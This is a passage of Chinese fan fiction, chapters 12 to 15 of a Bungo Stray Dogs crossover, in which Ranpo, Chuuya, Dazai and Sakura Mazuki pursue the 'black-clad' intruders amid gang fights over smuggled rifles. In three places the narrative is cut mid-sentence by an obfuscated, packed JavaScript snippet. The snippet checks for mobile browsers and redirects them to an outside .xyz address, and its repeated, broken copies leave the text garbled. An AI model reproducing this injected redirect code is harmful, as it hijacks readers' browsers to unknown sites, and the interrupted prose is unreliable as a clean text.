面沉如水的乱步停住脚步，在他的身后，骂骂咧咧走了很久的中原中也很暴躁。 “你到底要带我去哪里？” “喂，说话。把你知道的，和我同伴有关的信息都说出来，不然我一定会让你后悔出现在这个世界——” “闭上嘴。” “哈？！” 乱步回过头，黯淡的绿眸平静的和中原中也对视，三十秒后，问：“九条组的基地在哪里？” 中原中也：“……” 中原中也：“…………” 死一般的沉寂里。 中原中也跳起来，瞪着眼睛：“哈——？你不认路？！” 12.012 【第十二章：我都加入你们了。】 “所以，这里是哪里？” “我怎么会知道！！” 大眼瞪着小眼，两人蓦地回头，发现来的路也十分陌生。 中也：“……” 乱步：“……” 中也跳起来，一把暴躁的拽住乱步的领口：“混蛋，你是不是故意的！” 知道他着急想要拯救同伴，就故意拖延时间，而他，居然就这么没有防备的相信了！怒火在胸腔里燃烧，但是和他的愤怒相比，乱步的神情太过平淡，平淡中甚至带上了困惑：“为什么你会不知道？” “哈？为什么我会知道？！” 碧绿的眼眸睁大了一些，乱步张了张嘴，话语梗在喉咙里，但最终什么都没能说出来，黯淡的眼眸又再一次陷入死寂，他啪地一声挥开中原中也的手。 “……算了，”乱步垂下头，“虽然我不知道人们为什么总是这样，但是我配合一下你吧，为什么你的同伴要选择被人贩子绑架？” 中也蓦地一顿。 乱步替他回答：“因为想得到‘黑衣人’口中许诺的武器，因为武器等于暴力。” 在横滨这样的地方，拥有暴力就拥有了修改规则的能力，就能成为书写秩序的全力。白濑他们拿到武器之时，能做的事情有那么多，为什么偏偏选择绑架太宰？ 哪怕再不愿意相信，中也也知道，这种相信就常在他的同伴的潜意识里。 人是非常容易被不甘和愤怒驱策的生物，但大多数人又很难感同身受，他们的不甘和愤怒通常起源于自己的遭遇，跌落泥潭者想要爬高，被他人践踏就想反过来掌控他人——能够谴责这些人吗？中也张了张嘴，说不出话，他不能，最初的‘羊’是被践踏之人，白濑他们一开始也只是想要得到保护自身的力量，所以，在得到那批武器时，他就算觉得有哪里不对，也没办法说服白濑他们丢掉。 乱步又问：“那么，为什么野口走私集团要进攻‘羊’的基地呢？” 依旧刺耳的问题。 中也沉默片刻：“因为那批武器是港口黑手党订购的。” 如果野口走私集团找不到武器，他们就必须要承受代表暴力的港口黑手党的怒火。假设港口黑手党不等于暴力，或者说不那么暴力，这件事或许能用更和平的方法解决。 “所以说，你明明就知道，”乱步的声音更低沉了，“一切的本质是因为武器等于暴力，暴力等于权力，权力会引发争夺。那批武器从落入‘羊’手中开始，属于港口黑手党的烙印就抹消了，变成了人人都能争取，人人都能抢夺的东西，这些其他组织趁乱发起进攻的原因，而那些人会抓走你的同伴，除了当替罪羊之外……” 中也骤然抬头，死死地盯着乱步。 林风袭来，山里连成片的树木发出沙沙的声音。 “就是想要拷问得到武器的办法，换句话说，他们想要得到联系‘黑衣人’的办法。” 当利益足够大时，人们是愿意铤而走险的，就像曾经的‘羊’一样。 “这怎么可能，”中也矢口否认，“那个黑衣人已经被我杀死了。” 乱步转过头，定定看着他。 明明也是个少年，明明只比自己大几岁，但这一刻，年仅十二岁的中也忽然感到对方身上散发出的莫大压抑，仿佛顷刻就会被孤独溺毙。 “……是，我知道，‘黑衣人’不止一个。” 此时，他不知道‘黑衣人’是谁，不知道他们想做什么，更不知道他们想达成什么目标，但他知道，对方能以‘羊’为起点，做出这么恶劣的事情，就绝对不可能是一个人。 “好了，名为解说的小游戏就到这里，”乱步重新看向陌生的周围，“再不快点的话，‘羊’真的会死的。” 中也：“……” 中也：“…………” “所以说，你到底把我带到哪里了啊！”暴躁的中也又想把对方拎起来打一顿了。 乱步：“……” 最终，中也还是忍住了。虽然他不是脑力派，但是直觉很敏锐，他隐约觉得如果自己动手了，很可能会再一次触发‘打了小的，来了大的’的结果，被胁差瞄准喉咙的感觉，至今还让他毛骨悚然。 值得庆幸的是，在他们一筹莫展的时候，迎面来了一辆大巴车，他们登上大巴才发现他们已经快要走到东京并盛町了，难怪周围一片陌生，然后，热情的大巴司机油门一踩，把他们送回东京市……警察局。 出身横滨，对警察很过敏的两人：“……” 接收他们的警察名叫风见裕也，对两个未成年——他不是横滨人，没有流浪儿扛枪械斗的概念，在他眼里，这只是两个离家出走的未成年。教训的语气严肃的像是把两人祖宗八代都拷问出来，吓得两人只能趁其不备连滚带爬的跑出门，搭上返回横滨的电车。 再次踏上横滨的土地，看着熟悉的街道，中也甚至觉得有点感动。 不过现在也不是感动的时候，他还有很重要的事情要做，在乱步给出的信息后，火速救出了几个被非法势力抓走的同伴。这几个非法势力都不大，人手少，也没有异能者，仅有的几支自动步枪还是那天晚上趁乱抢的，在此之前，他们用的都是垃圾场里捡的铁棍。 时间一点点过去，太阳已经落下山，仅剩一点微光，被救回来的几个‘羊’的成员因为受了伤，风声鹤唳地彼此搀扶着。 中也担心没被抓走的同伴们，想带着乱步继续救人，但是横滨的晚上太危险，为了得到更多武器而觊觎‘羊’的组织太多，无法，中也只能带着他们先返回擂钵街。 在‘羊’的基地的废墟上，点起取暖的篝火。 按道理其实不应该这么做，但春夜的温度太低，受了伤的同伴可能撑不住，他们没有钱买药，感冒生病都会很麻烦，而点火虽然会吸引不怀好意的流浪汉和偷渡客，但中也觉得自己守夜就足够震慑他们。 除此之外…… 神色凝重的中也侧过头，飘忽的火焰倒映着，用手机预定好明天的早餐宅急便，被注视的乱步一点都不客气，“我要吃粗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314250|182754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点心。” 中也又想跳起来了：“哈？我哪来的粗点心……不对，我为什么要给你吃粗点心？！” 乱步皱起眉：“你为什么不给我吃粗点心？我都加入你们组织了。” 三年前，樱真月盛情邀请他加入‘太宰温情陪伴团’——虽然这个组织名字很快就被毙掉了——的时候，可是一日三餐，蛋糕粗点心管够的！ 中也这次跳起来了：“等、等等，你什么时候加入我们组织了？！” 他怎么不知道还有这种事。 乱步眼睛都瞪大了：“我都亲自带着你去救人了。” 中也：“……” 中也：“？” 你要不要听听你在说什么？ 乱步指着蜷缩在篝火边的‘羊’的成员，这几个成员才加入‘羊’没多久，和中也也没有多少话可以说，“我都把他们救出来了，而且，你们‘羊’不是未成年互助组织吗？我也没有成年。” 他才十六岁，瞪着眼睛暴露出的孩子气，让他看起来跟中也没区别。 中也：“…………” 良心隐隐作痛，他没办法说出拒绝的话，虽然对方把他带偏到并盛町，但确实为他的救援行动提供了很多帮助，而且，都这么晚了，对方也没有回家，也没有人找他，显然是无家可归的样子…… “啊——算了，”中也抓了抓头发，“你先待在这里吧，先声明，虽然他们称呼我为‘羊之王’，但让不让你加入不是我一个人能决定的事情，要等把大家都救回来，再由大家一起决定。” 乱步闻言，也不知道想了什么，就此沉寂下去。 与此同时。 擂钵街外围，不起眼的书店后巷。 带着食物的樱真月穿过巷子，走进一间黑漆漆的民居，他没有开灯，反而轻车熟路的绕到地下室二层，狭窄的走道尽头终于点了一盏微弱的灯，灯能照到的尽头，是关押‘入侵者’的审讯室。 “阿治阿治，”樱真月推开审讯室隔壁的监控室，“我弄到了一份阿拉斯加深海雪蟹，要吃吗？” “我要吃我要吃。”同在监控室的果戈里举起手。 兴高采烈的樱真月微笑不变，然后递给他一个平平无奇的鱼子酱饭团。 果戈里：“……” 樱真月的笑容越发灿烂：“怎么样，不够还有哦~” 果戈里：“…………小真月还真是偏心啊。” 这种话对樱真月来说一点攻击力都没有，他扫了一眼监控屏幕，确如果戈里所说，他与乱步一起抓到的入侵者田山有很强的自杀倾向，为了防止他自戕，果戈里只能用异能‘外套’将他捆住。 ‘外套’是空间类异能，能将身上的斗篷与远处连接起来，范围大概是30米。现在，入侵者田山的四肢分别被异能禁锢在审讯室的四周——舌头已经还回去了，因为太宰要审讯，不过目前，审讯已经结束了，太宰坐在电脑面前，正在写审讯报告。 樱真月凑过去，看到报告上有且仅有两个字： ‘将军’。 13.013 【第十三章：兜售武器，九成新，管够】 “‘将军’？是谁？” “不知道，”旋转椅上的太宰转了个圈，从樱真月手里拿走一个鱼子酱饭团——这家伙，说着深海雪蟹，但是带来的明明只有饭团，“大概是对方的上司，或者首领之类的吧。” “欸——” 太宰咬了一口饭团，鱼子酱的味道在口腔散开，无比嫌弃：“为什么又是饭团？” “因为这个时间点，周围的店铺就只剩饭团了。”旁边的果戈里也开始叹气，一口把饭团丢进嘴里。 太宰：“……” “哇哦哦，”樱真月立刻化身太宰解读机，声情并茂的表演，“我方太宰君在可怕的《谁来当反派》抽签结束后，再一次打起了精神，真是不容易啊，那么不如就吃一顿深海雪蟹庆祝一下吧！” 说着，樱真月就真掏出了一只还在张牙舞爪的蟹。 太宰：“……” 果戈里的眼睛亮了起来，他就知道这个点待在这里一定会有福报的，所以，对不起了挚友费奥多尔君，愿你在港口黑手党的枪林弹雨里保持平安！ 太宰：“哪里弄来的？” “海里，”樱真月把黏成一坨的头发往后撸，湿漉漉的衣服已经在脚下滴出一滩海水，“下午去了一趟桥塔，但是什么都没能找到，时间又正好，就去赶海啦~” 这是他会回来这么晚，以至于都没赶上审讯的原因。 太宰：“…………” 赶海是指潜进海里几百米去捞蟹吗？那边的果戈里已经凑上去，兴高采烈地一边戳着蟹一边问蟹的品种，异常开朗的樱真月回答不知道——他会知道才有鬼，虽然开着书店，但这家伙认真读过的书，有且仅有‘书’一本……算了，反正他也不是第一次干这种事了，早两年，他的食欲几乎为零的时候，这家伙为了弄好吃的，就隔三差五去潜海，差点把横滨海湾里本就脆弱的生态系统搞崩溃了，后来，还是他慢慢开始吃别的东西，他才收敛了祸害世界的举措。 “啊……那就做蟹肉炒饭吧，想吃炒饭了。” “可以哦~”抓着蟹的樱真月应声出去，走到门口又想起什么，“啊对了，为什么审讯报告上只有‘将军’？” 难道审讯室里的入侵者只有一个同伴？ “不，”太宰已经重新面向电脑屏幕，“还有一种可能，他们是单线管理，我们抓住的那个入侵者，他只知道‘将军’这一个同伴。” “这样啊，”樱真月思考了一下，“那你准备怎么找到他们？” 是的，继费奥多尔抽到2号签，乱步抽到3号签之后，不幸抽到了1号签的太宰需要做的，是成功打入‘入侵者’阵营，然而，遗憾的是，对方太狡猾，他们到现在都不知道入侵者在哪里。 “唔，确实很难，”太宰抵着下巴思考了一下，忽然露出一个恶意的笑，将审讯报告加密，直接发出，“既然这样，就让他们来找我好了。” 几乎是同时，顺着网线，隔着大半个城市，一个情报网站刷新出一条新讯息——如果有人能知道，会发现这个网站仅仅只有几个账号能登录，上面的内容繁杂，从日常早餐采购单，到港口黑手党又下达了什么疯狂指令都有，每条情报下的应答也各有不同，有简单回个‘1’表示知道的，也有长篇大论抱怨吃饭团吃吐了的。 虽然很魔幻，但这确实是太宰和费奥多尔一起搭建的，仅供他们五个人使用的情报网站。 加密的审讯报告发出去，暂时没人阅读，毕竟‘羊’已经入睡，而夜晚是黑手党工作的时间，刚刚还在这里的果戈里不知道又流窜到哪里去了，拎着蟹的樱真月自然也没时间，他几步上楼进厨房，开始准备炒饭。 作为一个擅长自力更生的少年，樱真月的厨艺也带着一种野蛮的意味，简单来说，好的时候很好，不好的时候很糟糕，他曾经把酱油拉面做成国宴，也曾用一个苹果派把费奥多尔送进医院ICU，当然更多时候就是平平常常普普通通的，一份带着烟火气的家常饭菜。 这也是樱真月会霍霍横滨海湾生态系统的又一原因。 厨艺不够，食材来凑。 反正绝对不能把太宰饿死。 等到把炒饭端出来，流窜在外的果戈里又流窜回来了。 窗外的夜风远远带来硝烟的气息，温暖的房间里，只有樱真月认认真真地合掌说了一声我开动了，在他的旁边，被美味食材吸引的太宰舀了一小口饭塞进嘴里，谨慎地评估樱真月的厨艺，确定吃完不会半死不活后才开始填饱肚子。 安静的吃完一顿饭，吃饱的太宰把碗筷收进厨房后就再也没出来，像猫一样离开得悄无声息。 不用猜也知道，这个时间点，太宰绝对不会回书店二楼休息，樱真月思索了一下，把碗筷丢给果戈里，到厨房转了一圈拎着食盒踩着夜色躲着流弹，也出门了。 半个小时后，消食完毕的樱真月回到书店二楼，洗了个澡开始为了长高而睡觉。 解决了一个找茬的偷渡客，暴躁的中也重新回到篝火边，刚要继续闭目休息，忽然，余光瞥到一个奇怪的东西，他凑上前，发现一个忽然出现的食盒摆在乱步旁边。 他敢保证，在十五分钟之前，他去收拾试图进攻的偷渡客时，这个地方并不存在什么食盒，他心生怀疑地推醒熟睡的乱步，想问问刚刚有谁出现过。 因为没吃到粗点心，甚至没有晚饭吃的侦探大人揉着眼睛醒来，他看着食盒沉默了两秒，突然打开。 中也阻拦的手刚刚伸出，新鲜的还冒着热气的炒饭映入眼帘，他想过暗器，想过炸弹，唯独没想到这是一份…… 打开食盒的乱步，犹豫了两秒，最终拿起勺子舀了一口塞进嘴里。 钴蓝的瞳孔骤然一缩。 “喂——”中也简直要跳起来，他摇着乱步的肩膀，试图把他吃进嘴里的饭摇出来，“就算饿肚子也不要什么都忘嘴巴里塞啊！万一有毒怎么办，你刚刚都犹豫了！是犹豫了吧！你都想到这一层了！” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324565|182754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >刚吃了一口，还没确定会不会被送进ICU的乱步不回答，他顶着被摇成海草的力道，坚定不移地把饭吞到肚子里，然后他抱着食盒扭到一边，警惕地看着面前的中原中也。 中也：“……” 中也崩溃了：“…………我不是要跟你抢！你吐出来啊！！” 他明天还要靠着对方去找同伴的啊！！ 与此同时，刚刚结束清扫任务的港口黑手党作战小队，带着战后收集品回到情报部门，震惊的发现，时隔十个小时，那个加入组织后，就不眠不休不吃不喝的新人费奥多尔，依旧坐在电脑面前，但面前多了一份看起来还不错的……炒饭？ 等等？ 附近的宅急便有炒饭这个选项吗？ 迷茫，没等作战小队想明白，凄厉的警报忽然响起。 作战小队队长接起电话，就听到那边的百人长吩咐：“追踪到了截留那批武器的组织，立刻组织人手发起进攻。” 作战小队队长大声应答后，把战后收集品一放，连话都来不及交代就即刻往外跑，跑到门口，也不知道为什么，余光瞥见，情报新人优雅又不失礼貌的加快进食速度，甚至好像还抱怨了一声。 “……真是的，太宰君，就不能先把饭吃完吗？” 当反派也是很辛苦的。 这一刻，他忽然就理解了‘书’里的那些自己，果然还是需要一个没有异能者的世界啊……虽然没有异能者的世界，‘书’里也记载了十七八个。 这些世界都是以‘费奥多尔’作为世界中心而存在的，是‘费奥多尔’的理想之地，他也是费奥多尔，他自信同样能达成这个理想，以保存世界的方式。 不过话又说回来，现在还是得先工作。 放下吃完的饭盒，因为被啃咬而渗透血丝的手重新搭到键盘上。 几声清脆的声响后，大片的情报信息展示在屏幕上。 “九条组，一个靠开赌场发家的组织，因为手段得了已经接管横滨三分之一的赌场生意……啊，还在擂钵街的混乱里，趁机成功收缴一半的走私武器，又顺势绑走了‘羊’的核心成员白濑啊……” “这样的话……” “我明白了……” 细微的声音隐没于黑暗里。 横滨的街头，闪光，爆炸，子弹轰鸣交替响起，新的混乱即将拉开—— 制造混乱的太宰穿过狭窄的巷子，侧身回望，夜风扬起他凌乱的刘海，露出近乎苍白的绷带，远远的，还能听到港口黑手党赶去的声音。 时间卡得很好，不够任何任何一方势力进行复盘和修整，刚刚落下的混乱会再一次进入白热化。 “虽然是天崩开局，但是这份礼物，希望‘你们’会喜欢呐……” 缠着绷带的手抬起，一柄打空弹匣的自动步枪啪嗒一声落到地上，太宰没有任何犹豫的往前走，同时，用手机登录悬赏网，毫不掩饰定位的发出一条讯息： 兜售武器，自动步枪，九成新，数量管够。 14.014 【第十四章：果然还是不允许……】 兜售武器的信息一经发出，就迅速在里世界掀起狂澜。 众所周知，这批武器从出现开始就一直在风暴的中心，先是因为‘羊’的贪婪，引发了一场与人贩子集团的斗争，而后，走私武器的野口走私集团在港口黑手党的暴力威压下，对‘羊’发动奇袭，潜藏在暗处、如鬣狗般的各路非法组织趁乱而上，擂钵街在暴乱中毁于一旦，而这批武器也被各路非法势力瓜分殆尽。 但，在最初的时候，这批武器是由野口走私集团走私的，最终归属于港口黑手党的武器。 港口黑手党是横滨黑夜的怪物，平常时候，这些如鬣狗一般的非法组织都不值得它垂眸看一眼，现在却胆敢在利益的驱使下抢夺属于它的武器——感觉权利与威严被侵犯，港口黑手党盛怒的老首领立刻着人带领大部分武装部队，武力清扫横滨街头。 一时间风声鹤唳，任何阳光铺照不到的角落里，都弥漫着刺鼻的血腥气。 然而，没想到的是，还不到一天，居然又有人打起这批武器的主意。 械斗的火光还没散去，横滨街头的某家地下赌场里，九条组高层脸色很难看，显然都没预料到事情会变成这个样子。 作为一个能在横滨靠赌场发家的组织，他们虽然没办法和港口黑手党、高濑会、GSS相比，但也是有异能者支撑的，在里世界有一点声名的组织。他们不是不知道掠夺这批武器会带来什么后果，可在港口黑手党老首领重病之后，港口黑手党就像疯了一样肆意扩张，严重挤压各种小组织的生存空间。 一天比一天糟糕的赌场收益，让他们不得不趁乱摸鱼，参与那批武器的掠夺，虽然他们的本意并不是抢夺武器，而是为了武器背后的，能让野口走私集团在半个月内崛起的，武器走私——大部分参与武器抢夺的非法组织，都是为了这一点。 能抢到武器当然好，但如果能直接抢到一整条武器走私线，那港口黑手党又有何惧呢？ 只是，没想到的是，他们只来得及从绑回来的羊的成员嘴里得知，给他们武器信息的是一个黑衣人，黑衣人的踪迹还没拷问出来，手下就传回赌场被袭击的消息。 与这个消息一同传来的，还有悬赏网上，带着定位的兜售武器的信息。 “怎么……怎么会这样！”九条组首领厉声斥问，冷汗浸湿后背，他想不通事情为什么会这么快发展成这个样子，他试图冷静，“袭击赌场的人是谁？” “是……是一个缠着绷带的少年……” 手下声音都颤抖了，脑海里浮现出前不久看到的场景，那个缠着绷带的少年几句话的功夫，就成功怂恿一帮亡命赌徒进攻赌场的仓库，找到他们从擂钵街抢回来的自动步枪，就开始无差别扫射，许多的同伴都倒在血泊里…… “怎么办？”手下更惶恐了，“老大，港口黑手党是不是马上要杀过来——啊！” 吊灯晃了晃，子弹的轰鸣在房间里回荡，开枪的九条组首领阴沉沉地吩咐：“赶在港口黑手党到来之前，立刻抓捕那个少年。” 只要抓到他，把他和羊的成员一起交出去，就能把所有的锅都推到‘羊’身上。 九条组倾巢而动时，走在横滨街头的太宰已经收到好几条询问武器售价的消息，会在这个时候询问他的人，要么是情报商人，要么是偷渡客，都不是他想要的客人，不过鉴于家里养他实在太花钱，樱真月都久违的重新下海摸蟹了，他总得补贴一下家用，于是也真诚的干起武器零售的生意。 当他卖出第三把自动步枪时，荷枪实弹的九条组成员将他团团围住，黑洞洞的枪口瞄准他的脑袋。 “小子，”九条组的首领枪指在太宰头顶，“胆子不小啊。” “嘛，还行吧，毕竟大家都是为了利益。” 太宰笑了笑，大概是绑带缠住了一只眼睛，此时的他看起来十分愉悦。 他的愉悦让九条组首领本就愤怒的内心一下烧了起来，搭在扳机上的手瞬间扣紧，子弹飞出，亚音速的旋转几乎扭曲空气，然而—— 子弹在击中太宰的前一刻，覆盖整个横滨的微光一闪，漆黑的街道于刹那间渡上鎏光，一片金碧辉煌中，子弹就如同被规则束缚那样，在太宰面前短暂的停了零点几秒，而后诡异的拐了个弯，打在他身后的路面上。 见状，所有人齐齐一愣。 只有太宰塌下肩膀，嫌弃的把头歪到一边：“……我就知道会变成这样，你不是睡觉去了吗？” 夜风里，街边单层楼高的店铺阳台边上，粉色的马尾无声扬起。 有人回答了他。 “本来是要睡了的，但是睡不着。”晃着两条腿，坐在阳台栏杆上的樱真月手里还拿着一瓶熬夜专用的能量饮料，“就只好爬起来了。” “所以，什么时候的事情？” 没有点明，但樱真月知道他问的是异能的事情。和当初困住中原中也的异能一样，只是当时定立的「异能禁止」的规则改变了，那颗会拐弯的子弹就是证据。 “昨天醒来之后，嘛，毕竟阿治你愿意跟我一起睡觉的机会太少了，很难不让人多想。” ‘人间失格’的无效化要接触才能生效，所以，在他拱进太宰的床上，太宰却没有把他踹下床的那一刻，他想要做什么，樱真月就已经明白了。 太宰更嫌弃了，“既然这样，为什么还要破坏计划。” “抱歉抱歉，”这么说着，笑着的樱真月从阳台一跃而下，轻巧落地，在他身后，鎏金的街道仿若宫殿，“但是，你不是还准备了plan B吗？毕竟，你肯定知道，除非你把我药晕，否则我无法接受你受伤的事情发生——额外一提，我给了你药晕我的机会。” 他准备那份蟹肉炒饭的间隙里，太宰有无数多的机会动手。 但太宰没有。 太宰眼神死掉了：“……那可是蟹肉做出来的料理。” 樱真月周身简直要冒出小花花：“嘛~别生气嘛，接下来，我会全力配合你的plan B的！” “两个臭小子，”怔愣中的九条组终于回过神，漆黑的枪口再次指向他们，“喂，不想死的话，举起手来。” “嗯嗯嗯……”太宰很配合的举起手。 但在他举起手的刹那，一道金属冷光骤然划过。 自动步枪的枪-管啪嗒一下跌到地上。 太宰哦呼一声，但没能成功活跃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329061|182754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气氛，周遭的气息已经凝固，提着胁差的樱真月敛没笑意，他侧着头，寒星一样的眼睛看着惊恐的九条组首领。 “吓到了吗？但是呢~我果然还是不能允许有人拿枪指着他。” 锋利的长胁差反射出冷光。 一般来说，胁差是备用短刀，要和打刀或太刀一起组成双刀流，很少单独使用，但受限于年龄和身高，此刻横刀而立的樱真月就像是和刀融为一体那样，任何面对他的人都只会感受到淬血的寒冷。 确实也很冷。 重新流动的风里，少年踏出一步，渡上鎏金的空间骤然破碎，重新陷入黑夜的长街掩盖下，几乎没有人能捕捉到对方的身影，等到能看清对方时，身上的血液已经在脚下汇聚了。死亡如此得近，近到他们再次听到港口黑手党作战部队赶到的声音时，直接喜极而泣。 带领港口黑手党作战部队赶到的，是干部大佐，他一边指使手下将九条组成员送回审讯部门，一边戒备的查看四周，但四周除了断成两半的自动步枪外，什么都没有。 被夜色掩盖的长街，微弱的路灯灯光将并肩而行的两道影子拉长。 “……真是的，我本来打算应邀到九条组的基地寻找与‘黑衣人’有关的拷问报告的。” 到目前为止，除了他们五个，没人知道搅动混乱的‘黑衣人’是世界的入侵者，他们的的目的是想要占领他们的世界。 “现在也一样要去拿报告嘛~” “那不一样。原本可以坐车，现在得走路。” “欸，你不想走路吗？那我背你吧，虽然九条组的基地只在两条街外，但是我可以背着你绕横滨跑两圈。” 提着刀的樱真月笑眯眯的，肉眼可见的高兴。 太宰：“……” 太宰：“…………你赢了。” 樱真月的变态还是太超模了。 因为九条组的基地确实只在两条街外，慢悠悠散步的他们走过去也只用了几分钟——一开始，在引发混乱后，太宰离开的方向本就是朝着九条组的基地去的。 大概是情况过于危急，九条组首领将大部分的人手都派出去了，导致现在在基地驻守的成员少得可怜，两人没花什么力气就杀入九条组的情报部门，并在一众报告中成功找到了他们审讯羊的成员的那份。 从报告的数量上看，这一天的时间里，羊的成员过的并不轻松。 “被九条组抓住的羊的成员，是叫白濑吧？” “嗯，是哦。”樱真月思索了一下，“是在‘羊’里，和中原中也最亲近的那一个。” “但是连他也说不清‘黑衣人’的行踪。” “最清楚‘黑衣人’的，应该是野口走私集团吧。” 野口山一郎，不，应该说，整个野口走私集团都是‘黑衣人’扶持起来了。只可惜，整个野口走私集团都在擂钵街的混乱中死去了。 “真糟糕啊，看来想要把对方从幕后拉到幕前，唯一的办法只能按照对方的意愿，继续扩大混乱了。” “那，”贫穷的樱真月眼睛亮了起来，“我们也要开始贩卖武器吗？争取做最大的武器走私商？啊，这样的话，我们的走私集团要叫什么名字才好……” 15.015 【第十五章：想把最好的东西送给你】 “……要叫什么名字好呢？太宰の走私集团？” “不要。” “那，太宰の温情陪伴团？” “……这个名字，我记得四年前就被pass了，你现在是在废物利用吗？” “欸——说废物什么的，真是令人伤心啊，为了组成这个陪伴团，我可是花费了很多努力的！” 九条组的情报办公室里，樱真月抱着心口，语气很伤心，表情很欢乐，但是对着电脑快速翻看与‘羊’有关的审讯报告的太宰不为所动。 “如果你把这份努力用在赚钱上，我们早两年就应该脱离贫困线了。” 樱真月：“……” 樱真月：“都怪费奥多尔，长大了就不值钱了。” 太宰：“……” 忍了忍，没忍住，幸灾乐祸的太宰：“确实是这样，但是总觉得费奥多尔君听到一定会哭出来的，搞不好会原地叛逃也说不定——那真是太好了，不知道这个办公室有没有录音设备，啊，真有啊，那就把录音音频打包发送给费奥多尔君吧。” 粉色的眼睛一下瞪大。 “等、等一下——” 樱真月试图阻拦太宰给生活增加难度，但太宰已经敲下回车键，压缩音频成功发送。趴在旋转椅后，试图阻拦的手还伸着，乍一看像是环抱着椅中的太宰那样，一歪头就能近距离窥探太宰的面容，樱真月一下就把会报复的费奥多尔丢到一边。 虽然话是他说的，但，那咋了。 就算现在的费奥多尔手里多了一张名为港口黑手党的牌，他也没办法弄死他，而且，现在，更重要的是，樱真月忽然问：“一会儿去吃东西吗？你想吃什么？只要说出来，我就都可以弄来哦~” 鸢色的眼眸一动，太宰看向突然变得柔软的同伴，“你是这么喜欢吃东西的人吗？” 距离很近，对视的眼睛能毫无保留的看清对方瞳孔的深处。 “不是，”樱真月摇头，粉色的马尾随之摆动，“我对食物的要求不高，但是我一看到你就想把世界上所有的好东西都送给你。” 好吃的食物也好，柔软的衣物也好，甚至可以是相似的同伴。 太宰猛地一顿，搭在键盘上的手指差点敲出错字。 “怎么样？要吃吗？” 沉默在空间里蔓延了两秒，太宰塌下肩膀，语气十分嫌弃：“我说啊，你是不是忘记我们在哪里了？是在敌人的情报部门里，而且随时都可能有黑手党冲进来，举着加特林无情扫射，就算没有危机意识，也好歹有点紧张感吧，啊，刚说完，对方就到了呢。” 声音落下，急促的脚步声从走廊外传来。 樱真月还是没什么紧张感，他看着太宰，确定太宰对吃东西不感兴趣后，叹了一口气，再直起身时，脸上骤然绽开笑意——他的笑一直没什么亲和感，现在更是戾气横生。 “好吧，那先把工作做好吧。” 话没说完，情报办公室的门就被人一脚踹开，是港口黑手党的干部大佐，在救了九条组的首领后，他沿途追杀到这里，推开门看清室内只有两个少年的时候，他第一反应是‘羊’。 在横滨，能在这个时间点出现在这里的人，难道是传说中的羊之王？ 不，不像，虽然他没见过羊之王中原中也，但请报上显示中原中也是橙发。 那，是九条组抓到的‘羊’的骨干？对方逃出来，甚至还潜入情报室？ 干部大佐皱起眉，沉凝的气息让荷枪实弹的港口黑手党成员齐刷刷举起枪。黑洞洞的枪口下，樱真月侧步转身，挡在太宰面前，锋利的刀刃已经出鞘：“欢迎光临，这里是太宰温情陪——” “再念这个名字我弄死你。” 太宰的声音异常平静。 樱真月一顿，摸了摸鼻子，没有一点犹豫的再次出卖费奥多尔……的理念：“——这里是没什么人承认的‘天人五衰’走私集团，请问只有你一个老板吗？需要买什么武器吗？额外一提，可以先把枪收起来吗？虽然你可能是未来的老板，但是光是克制着不把你们干掉就快要耗尽我所有的耐心了。”[6] 干部大佐：“……” 港口黑手党众：“……” “哈？”干部大佐笑出声，眼里都是轻蔑，“小子你知道自己在说什么吗？” “知道，我的意思是，”樱真月依旧微笑着，“从这一秒开始，九条组的遗产——虽然只是几间快要倒闭的赌场，但他们的一切都由我们接手了，包括你现在站着的土地，也就是说，踩在这片土地上的你如果不是老板的话，按照黑手党的生存法则，我可以直接将你杀死。” 说到杀死两个字的时候，樱真月的神情是温柔的，如果不是微笑带出的邪气感冲淡了这种温柔，他简直就像是世界上最乖巧的孩子那样。 锋利的胁差在灯下寒光熠熠，凛然的杀意盘踞着，面对他的人只剩下本能的胆寒。 眼里的轻蔑淡去，深谙在横滨，就连小孩都不能小觑的干部大佐虽然是老首领亲自扶持，但还有些理智，他想起九条组的惨状，想起那些整齐断开的枪-管，还有几乎没有偏差的出现在每个人身体致命位置的伤口，他往后摆了摆手，上膛的十几个枪口放了下来。 投桃报李，盘踞的杀意也消减了一些。 但针锋相对没有淡去。 “小子，你应该知道港口黑手党为什么会出现在这里，不想遭受巨大报复的话，还是交出那批武器，然后离开这里比较好。” “面对其他抢夺了武器的组织，你也会说这样的话吗？”樱真月好奇。 干部大佐沉默，他身上漆黑的绅士西装几乎要跟黑夜融为一体。 樱真月：“所以说，大家都在遵循弱肉强食的里世界生存法则，就别这么温情了，毕竟港口黑手党在回收那批武器，我们也要回收那批武器，我们是竞争关系……啊，这么说你们是不会买 